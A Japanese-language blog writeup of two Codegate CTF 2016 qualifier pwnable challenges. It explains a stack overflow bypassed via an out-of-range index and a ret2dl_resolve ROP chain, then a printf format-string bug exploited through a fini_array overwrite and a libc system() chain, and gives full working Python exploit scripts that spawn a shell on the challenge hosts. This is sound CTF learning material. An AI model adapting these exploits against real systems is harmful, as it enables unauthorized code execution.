Codegate CTF 2016 Quals Writeup
0ctfの裏で行われていたCodegate CTF
うちのチームも登録はしてたけど,参加したのは僕だけ
しかも4時間くらいしか取り組んでいないという雑な扱い
一応2問解いたので,ここに書き記しておきます.
Watermelon (Pwnable 210)
下調べ
shiftcrops@S-Ubuntu:~/CTF/Codegate$ file watermelon-5d63b69dccbd0d46bcf3e559bf79b4a7 watermelon-5d63b69dccbd0d46bcf3e559bf79b4a7: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=155b637b98c19cff6d3fce40c52dfe301ef746b0, stripped shiftcrops@S-Ubuntu:~/CTF/Codegate$ checksec.sh --file watermelon-5d63b69dccbd0d46bcf3e559bf79b4a7 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH watermelon-5d63b69dccbd0d46bcf3e559bf79b4a7
Canaryが有効なので単純なスタックオーバーフローはダメ
プログラム動作解析
音楽のプレイリストを管理するプログラム
メニューを入力する関数のスタックフレーム内にデータを格納している
プレイリストには100個まで曲を登録できる
曲の構造体は次の通り
struct playlist{ int number; char music[20]; char artist[20]; }
Modifyを行う関数内でスタックオーバーフローの脆弱性がある
入力されたnumberのチェックを特に行っていないため,登録上限の100より大きい値を指定できる
あと,artistの入力では0x14byteのサイズに対して0xc8byte読み込みを行う
解法
100番目のartistを溢れさせてリターンアドレスを書き換えようとすると,canaryを潰してしまうためROP出来ない.
そこで,101番目の領域に対してModifyを行ってリターンアドレスを書き換え,ROP Chainを組むこととする.
canaryの位置が構造体のnumberの部分に当たるため,書き換えは行われず無事にretまでたどり着く.
eip取れたのでもう終わりじゃんって思ってたら,execve関数もsystem関数もない
しかもlibcも与えられてないので,GOTをリークさせてオフセット計算して,ってことも難しそう(libcごとリークさせればそれでも良いけど)
なので,dl_resolveすることにしましょう
plt_readに飛んでBSS領域にdl_resolveするのに必要なシンボルテーブルなどを書き込み,execve関数の解決を行う
Exploit
#!/usr/bin/env python from sc_pwn import * target = {'host':'175.119.158.133','port':9091} addr_plt_reloc = 0x080484e0 addr_plt_read = 0x080484f0 addr_got_puts = 0x0804c028 addr_pop_x3 = 0x080495ad # pop ebx ; pop edi ; pop ebp ; ret addr_relplt = 0x08048440 addr_dynsym = 0x080481d8 addr_dynstr = 0x080482f8 addr_version = 0x080483c2 addr_bss = 0x0804cb60 addr_buf = addr_bss + 0x30 + 0x190 str_sh = '/bin/sh\x00' #========== def attack(cmn): cmn.read_until('name : \n') cmn.sendln('hoge') Add(cmn,'\n','\n') dl = DLresolve('x86',addr_dynsym, addr_dynstr, addr_relplt, addr_version) dl.set_funcadr(addr_got_puts, 'execve') dlr = dl.resolve(addr_buf+len(str_sh)) exploit = '\x00'*0xc exploit += pack_32(addr_plt_read) exploit += pack_32(addr_pop_x3) exploit += pack_32(STDIN_FILENO) exploit += pack_32(addr_buf) exploit += pack_32(len(str_sh + dlr)) exploit += pack_32(addr_plt_reloc) exploit += pack_32(dl.offset('execve')) exploit += pack_32(0xdeadbeef) exploit += pack_32(addr_buf) exploit += pack_32(NULL) exploit += pack_32(NULL) Modify(cmn, 101, exploit[:0x14], exploit[0x14:] if len(exploit)>0x14 else '\n') cmn.read_until('select\t|\t\n') cmn.sendln('4') cmn.send(str_sh + dlr) def Add(cmn, music, artist): cmn.read_until('select\t|\t\n') cmn.sendln('1') cmn.read_until('music\t|\t') cmn.send(music) cmn.read_until('artist\t|\t') cmn.send(artist) def Modify(cmn, num, music, artist): cmn.read_until('select\t|\t\n') cmn.sendln('3') cmn.read_until('number\t|\t\n') cmn.sendln(str(num)) cmn.read_until('music\t|\t') cmn.send(music) cmn.read_until('artist\t|\t') cmn.send(artist) #========== if __name__=='__main__': cmn = Communicate(target,mode='RAW') attack(cmn) sh = Shell(cmn) sh.select() del(sh) del(cmn) #==========
OldSchool (Pwnable 490)
下調べ
shiftcrops@S-Ubuntu:~/CTF/Codegate$ checksec.sh --file oldschool RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH oldschool
プログラム動作解析
コードが与えられているので解析するまでもない
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main( ) { char buf[1024] = { 0, }; printf( "YOUR INPUT :" ); fgets( buf, 1020, stdin ); printf( "RESPONSE :" ); printf( buf ); return 0; }
単純なFSBが存在しているが,どこのアドレスを書き換えるのかが問題
解法
1回目のFSB attackでは,スタックのアドレスが分かっていないのでROP Chainを組むことができない
fini_arrayをmain関数のアドレスに書き換えることで,初めにmain関数から返った後に再度main関数に飛ぶことができる
1回目のFSB attackでio_2_1_stdinからlibcのベースアドレス,スタックに積まれてる適当な場所からスタックのアドレスをリーク,及びfini_arrayの書き換えを行う
2回目のFSB attackでスタック上にROP Chainを組む
Exploit
#!/usr/bin/env python from sc_pwn import * target = {'host':'175.119.158.131','port':17171} addr_fini_arr = 0x080496dc addr_got_main = 0x080497ec addr_main = 0x0804849b offset_libc_stdin = 0x001b7600 offset_libc_exit = 0x0002eca0 offset_libc_system = 0x0003b180 offset_libc_str_sh = 0x0015f61b #========== def attack(cmn): exploit = '%2$08x%264$08x' fsb = FSB(header=len(exploit),count=16-len(exploit), size=2) fsb.set_adrval(addr_fini_arr, addr_main) fsb.auto_write(index=7) exploit += fsb.get() cmn.sendln(exploit) cmn.read_until('RESPONSE :') addr_libc_stdin = int(cmn.read(8),16) addr_stack_ret = int(cmn.read(8),16)-0xe4 addr_libc_base = addr_libc_stdin - offset_libc_stdin addr_libc_system = addr_libc_base + offset_libc_system addr_libc_exit = addr_libc_base + offset_libc_exit addr_libc_str_sh = addr_libc_base + offset_libc_str_sh info('addr_libc_base = 0x%08x' % addr_libc_base) info('addr_stack_ret = 0x%08x' % addr_stack_ret) cmn.read_all() fsb = FSB(size=2) fsb.set_adrval(addr_stack_ret , addr_libc_system) fsb.set_adrval(addr_stack_ret+0x4, addr_libc_exit) fsb.set_adrval(addr_stack_ret+0x8, addr_libc_str_sh) fsb.auto_write(index=7) cmn.sendln(fsb.get()) cmn.read_all() #========== if __name__=='__main__': cmn = Communicate(target,mode='RAW') attack(cmn) sh = Shell(cmn) sh.select() del(sh) del(cmn) #==========